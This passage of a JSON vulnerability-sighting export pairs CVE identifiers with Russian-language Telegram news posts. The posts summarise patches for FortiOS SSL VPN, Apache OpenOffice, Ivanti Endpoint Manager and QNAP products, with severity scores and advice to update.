\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-01-09T15:00:07.000000Z"}, {"uuid": "c9825138-45e9-4819-abf3-a053a84ba928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://t.me/true_secator/5396", "content": "Fortinet \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 FortiOS SSL VPN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCVE-2024-21762 (FG-IR-24-015) \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 CVSS 9,6 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 FortiOS.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b.\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438, Fortinet \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f - \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0432 SSL VPN \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441 FortiOS.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, Fortinet \u043d\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0440\u0430\u0432\u043d\u043e \u0438 \u0442\u043e\u043c, \u043a\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u043d\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438 \u043f\u043e \u0434\u0440\u0443\u0433\u0438\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445: CVE-2024-23113 (\u0440\u0435\u0439\u0442\u0438\u043d\u0433 9,8), CVE-2023-44487 \u0438 CVE-2023-47537 (\u043e\u0431\u0435 \u0441\u043e \u0441\u0440\u0435\u0434\u043d\u0438\u043c \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c). \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0445 \u043d\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u043a\u0430\u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432 \u0432\u0438\u0434\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2024-21762 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-02-09T11:20:05.000000Z"}, {"uuid": "d1e3b2f9-bb04-4fc3-8004-121861e83e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47560", "type": "seen", "source": "https://t.me/true_secator/5270", "content": "\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043a\u0430\u043a QNAP \u0438 Ivanti \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0442\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0437\u0430\u043b\u0435\u0442\u0430\u044f \u0432 \u0440\u0443\u043a\u0438 \u0443\u043c\u0435\u043b\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Apache OpenOffice \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0435\u0434\u043a\u043e.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Apache OpenOffice \u0432\u0435\u0440\u0441\u0438\u0438 4.1.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n- CVE-2012-5639 (\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e/\u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f), \n- CVE-2022-43680 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 libexpat), \n- CVE-2023-1183 (\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0431\u0430\u0437\u0435), \n- CVE-2023-47804 (\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u0430\u043a\u0440\u043e\u0441\u0430).\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c, \u0437\u0430\u0442\u043e PoC \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-43680. \u0412\u0441\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache OpenOffice 4.1.14 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f.\n\nIvanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-39336 \u0432 Endpoint Manager (EPM).\n\n\u042d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Ivanti, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442 EPM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043a\u043e\u0433\u0434\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SQL Express, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0430\u0442\u0430\u043a\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u0430 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\n\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f QNAP Systems\u00a0\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u044e\u0436\u0438\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445, CVE-2023-39296, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 QTS 5.1.x \u0438 \u0432\u0435\u0440\u0441\u0438\u0438 QuTS Hero h5.1.x \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c QTS 5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110 \u0438 QuTS Hero h5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110.\n\n\u0412 \u0434\u0432\u0443\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 CVE-2022-43634, \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Netatalk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nQNAP \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Video Station \u2014 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL (CVE-2023-41287) \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (CVE-2023-41288), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438.\u00a0\u0412 Video Station 5.7.2 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0412 QuMagie 2.2.1 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0435\u0449\u0435 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e: CVE-2023-47559, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 CVE-2023-47560, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u044b\u0440 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e, \u043a\u0430\u043a \u043d\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-01-09T15:00:07.000000Z"}, {"uuid": "8507feee-1477-4a67-b5fc-9469a86f77a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47559", "type": "seen", "source": "https://t.me/true_secator/5270", "content": "\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043a\u0430\u043a QNAP \u0438 Ivanti \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0442\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0437\u0430\u043b\u0435\u0442\u0430\u044f \u0432 \u0440\u0443\u043a\u0438 \u0443\u043c\u0435\u043b\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Apache OpenOffice \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0435\u0434\u043a\u043e.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Apache OpenOffice \u0432\u0435\u0440\u0441\u0438\u0438 4.1.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n- CVE-2012-5639 (\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e/\u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f), \n- CVE-2022-43680 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 libexpat), \n- CVE-2023-1183 (\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0431\u0430\u0437\u0435), \n- CVE-2023-47804 (\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u0430\u043a\u0440\u043e\u0441\u0430).\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c, \u0437\u0430\u0442\u043e PoC \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-43680. \u0412\u0441\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache OpenOffice 4.1.14 \u0438 